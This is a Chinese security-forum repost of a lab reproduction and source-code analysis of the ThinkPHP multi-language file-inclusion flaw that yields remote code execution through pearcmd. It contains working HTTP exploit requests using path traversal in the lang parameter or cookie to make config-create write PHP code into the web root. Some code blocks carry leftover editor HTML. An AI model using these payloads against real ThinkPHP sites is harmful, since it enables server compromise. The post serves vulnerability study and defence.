安全矩阵

 找回密码
 立即注册
搜索
查看: 786|回复: 0

记Thinkphp漏洞复现学习

[复制链接]

252

主题

252

帖子

1309

积分

金牌会员

Rank: 6Rank: 6

积分
1309
发表于 2023-1-3 12:11:08 | 显示全部楼层 |阅读模式
原文链接:记Thinkphp漏洞复现学习


ThinkphpV6多语言
漏洞原理
ThinkPHP在开启多语言功能的情况下存在文件包含漏洞,攻击者可以通过get、header、cookie等位置传入参数,实现目录穿越与文件包含组合拳的利用,通过pearcmd文件包含这个trick即可实现RCE。
关于pearcmd
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。 在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。
影响版本
6.0.1 < ThinkPHP ≤ 6.0.13 5.0.0 < ThinkPHP ≤ 5.0.12 5.1.0 < ThinkPHP ≤ 5.1.8
漏洞指纹
header="think_lang"
环境搭建
    https://github.com/vulhub/vulhub ... 1624da79f3f6e331e95
漏洞复现

编辑
  /index?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/var/www/html/test.php
mei
经过../的尝试发现当../个数超过7个时,响应界面发生变化,即利用成功。
编辑
当前../个数为6个,查看是否写入
编辑
当../个数为8个时
编辑
查看是否利用成功
编辑
cookie处的构造
编辑
编辑
经过逐个添加发现也是在第8个发生变化,通过不通的环境得出../的个数与目录层数相关。
编辑
编辑
进行包含利用
编辑
漏洞分析
config-create
require_once 'PEAR.php';require_once 'PEAR/Frontend.php';require_once 'PEAR/Config.php';require_once 'PEAR/Command.php';require_once 'Console/Getopt.php';
这里所需要用到的config-create处于-->config.php中,因此,攻击条件同时需要满足pecl/pear为已安装状态。根据这里的exp,这里利用了config-create,config-create的作用-->create a default configuration file,也就是创建默认的配置文件,并且在此处的文件路径进行传参,写入这个文件中。
GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+xxx.php HTTP/1.1
config-create的作用-->create a default configuration file
编辑
开启多语言
编辑
由于这个的攻击条件是要开启多语言功能,于是,去搜索了下这个多语言功能是如何开启的,大概就是,会在中间件middleware中添加,再接着通过detect来探测是否具有lang这个包来返回多语言的功能是否开启。通过学习得知,在这个中间件middle这,会调用handle()函数,于是这里查看了下被引用的地方,也就是loadlangpack.php这。
多语言功能包-->langpack
编辑
  1. public function handle($request, Closure $next)
  2.     {
  3.         // 自动侦测当前语言
  4.         $langset = $this->detect($request);


  5.         if ($this->lang->defaultLangSet() != $langset) {
  6.             $this->lang->switchLangSet($langset);
  7.         }


  8.         $this->saveToCookie($this->app->cookie, $langset);


  9.         return $next($request);
  10.     }
复制代码


因为在之前已经得知是通过探测的方法,直接定位detect
detect-->可以看到GET["lang"] 、HEADER["think-lang"] 、COOKIE["think_lang"] ,并且其中不含过滤代码,直接赋值给了 $langSet : 那么langset 这个值便是可控的了
  1. protected function detect(Request $request): string
  2.     {
  3.         // 自动侦测设置获取语言选择
  4.         $langSet = '';

  5.         if ($request->get($this->config['detect_var'])) {
  6.             // url中设置了语言变量
  7.             $langSet = strtolower($request->get($this->config['detect_var']));
  8.         } elseif ($request->header($this->config['header_var'])) {
  9.             // Header中设置了语言变量
  10.             $langSet = strtolower($request->header($this->config['header_var']));
  11.         } elseif ($request->cookie($this->config['cookie_var'])) {
  12.             // Cookie中设置了语言变量
  13.             $langSet = strtolower($request->cookie($this->config['cookie_var']));
  14.         } elseif ($request->server('HTTP_ACCEPT_LANGUAGE')) {
  15.             // 自动侦测浏览器语言
  16.             $match = preg_match('/^([a-z\d\-]+)/i', $request->server('HTTP_ACCEPT_LANGUAGE'), $matches);
  17.             if ($match) {
  18.                 $langSet = strtolower($matches[1]);
  19.                 if (isset($this->config['accept_language'][$langSet])) {
  20.                     $langSet = $this->config['accept_language'][$langSet];
  21.                 }
  22.             }
  23.         }
  24. if (empty($this->config['allow_lang_list']) || in_array($langSet, $this->config['allow_lang_list'])) {
  25.             // 合法的语言
  26.             $this->range = $langSet;
  27.         }


  28.         return $this->range;
复制代码


默认情况下,allow_lang_list 这个配置为空,$langSet 被赋值给 $range,将$range 返回。
在loadlangpack里发现:
  1.      public function handle($request, Closure $next)
  2.     {
  3.         // 自动侦测当前语言
  4.         $langset = $this->detect($request);

  5.         if ($this->lang->defaultLangSet() != $langset) {
  6.             $this->lang->switchLangSet($langset);
  7.         }

  8.         $this->saveToCookie($this->app->cookie, $langset);

  9.         return $next($request);
  10.     }
复制代码

   
编辑
this->load

  1. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="8" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false"><pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22public%C2%A0function%C2%A0switchLangSet(string%C2%A0%24langset)%C2%A0%5Cn%C2%A0%C2%A0%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0if%C2%A0(empty(%24langset))%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0return%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0%E5%8A%A0%E8%BD%BD%E7%B3%BB%E7%BB%9F%E8%AF%AD%E8%A8%80%E5%8C%85%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%24this-%3Eload(%5B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%24this-%3Eapp-%3EgetThinkPath()%C2%A0.%C2%A0'lang'%C2%A0.%C2%A0DIRECTORY_SEPARATOR%C2%A0.%C2%A0%24langset%C2%A0.%C2%A0'.php'%2C%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%5D)%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0%E5%8A%A0%E8%BD%BD%E7%B3%BB%E7%BB%9F%E8%AF%AD%E8%A8%80%E5%8C%85%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%24files%C2%A0%3D%C2%A0glob(%24this-%3Eapp-%3EgetAppPath()%C2%A0.%C2%A0'lang'%C2%A0.%C2%A0DIRECTORY_SEPARATOR%C2%A0.%C2%A0%24langset%C2%A0.%C2%A0'.*')%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%24this-%3Eload(%24files)%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%2F%2F%C2%A0%E5%8A%A0%E8%BD%BD%E6%89%A9%E5%B1%95%EF%BC%88%E8%87%AA%E5%AE%9A%E4%B9%89%EF%BC%89%E8%AF%AD%E8%A8%80%E5%8C%85%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%24list%C2%A0%3D%C2%A0%24this-%3Eapp-%3Econfig-%3Eget('lang.extend_list'%2C%C2%A0%5B%5D)%3B%5Cn%5Cn%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0if%C2%A0(isset(%24list%5B%24langset%5D))%C2%A0%7B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%24this-%3Eload(%24list%5B%24langset%5D)%3B%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%C2%A0%7D%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">public function switchLangSet(string $langset)
  2.    {
  3.        if (empty($langset)) {
  4.            return;
  5.        }


  6.        // 加载系统语言包
  7.        $this->load([
  8.            $this->app->getThinkPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.php',
  9.        ]);


  10.        // 加载系统语言包
  11.        $files = glob($this->app->getAppPath() . 'lang' . DIRECTORY_SEPARATOR . $langset . '.*');
  12.        $this->load($files);


  13.        // 加载扩展(自定义)语言包
  14.        $list = $this->app->config->get('lang.extend_list', []);


  15.        if (isset($list[$langset])) {
  16.            $this->load($list[$langset]);
  17.        }</code></pre>
  18. <span class="cke_reset cke_widget_drag_handler_container" style="background: rgba(220, 220, 220, 0.5) url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.2.1="" ckeditor="" plugins="" widget="" images="" handle.png");="" top:="" 0px;="" left:="" 0px;"=""><img class="cke_reset cke_widget_drag_handler" data-cke-widget-drag-handler="1" role="presentation" src="data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==" title="点击并拖拽以移动" width="15" height="15"></span></div>

  19. <div aria-label="代码段 小部件" class="cke_widget_wrapper cke_widget_block cke_widget_codeSnippet cke_widget_selected" data-cke-display-name="代码段" data-cke-filter="off" data-cke-widget-id="7" data-cke-widget-wrapper="1" role="region" tabindex="-1" contenteditable="false">
  20. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%C2%A0%C2%A0%C2%A0%C2%A0%24langset--%3E%24this-%3Econfig%5B%5C%22detect_var%5C%22%3D%5C%22lang%5C%22%5D%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%5Cn%C2%A0%C2%A0%C2%A0%C2%A0%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">    $langset-->$this->config["detect_var"="lang"]</code></pre></div>
复制代码

        
编辑
include file
对其进行文件包含的利用
  1. protected function parse(string $file): array
  2.     {
  3.         $type = pathinfo($file, PATHINFO_EXTENSION);


  4.         switch ($type) {
  5.             case 'php':
  6.                 $result = include $file;
  7.                 break;
  8.             case 'yml':
  9.             case 'yaml':
  10.                 if (function_exists('yaml_parse_file')) {
  11.                     $result = yaml_parse_file($file);
  12.                 }
  13.                 break;
  14.             case 'json':
  15.                 $data = file_get_contents($file);


  16.                 if (false !== $data) {
  17.                     $data = json_decode($data, true);


  18.                     if (json_last_error() === JSON_ERROR_NONE) {
  19.                         $result = $data;
  20.                     }
  21.                 }


  22.                 break;
  23.         }


  24.         return isset($result) && is_array($result) ? $result : [];
  25.     }
复制代码


其他方法
  1. download -->pear download [option] [package]
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:47 , Processed in 0.014548 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表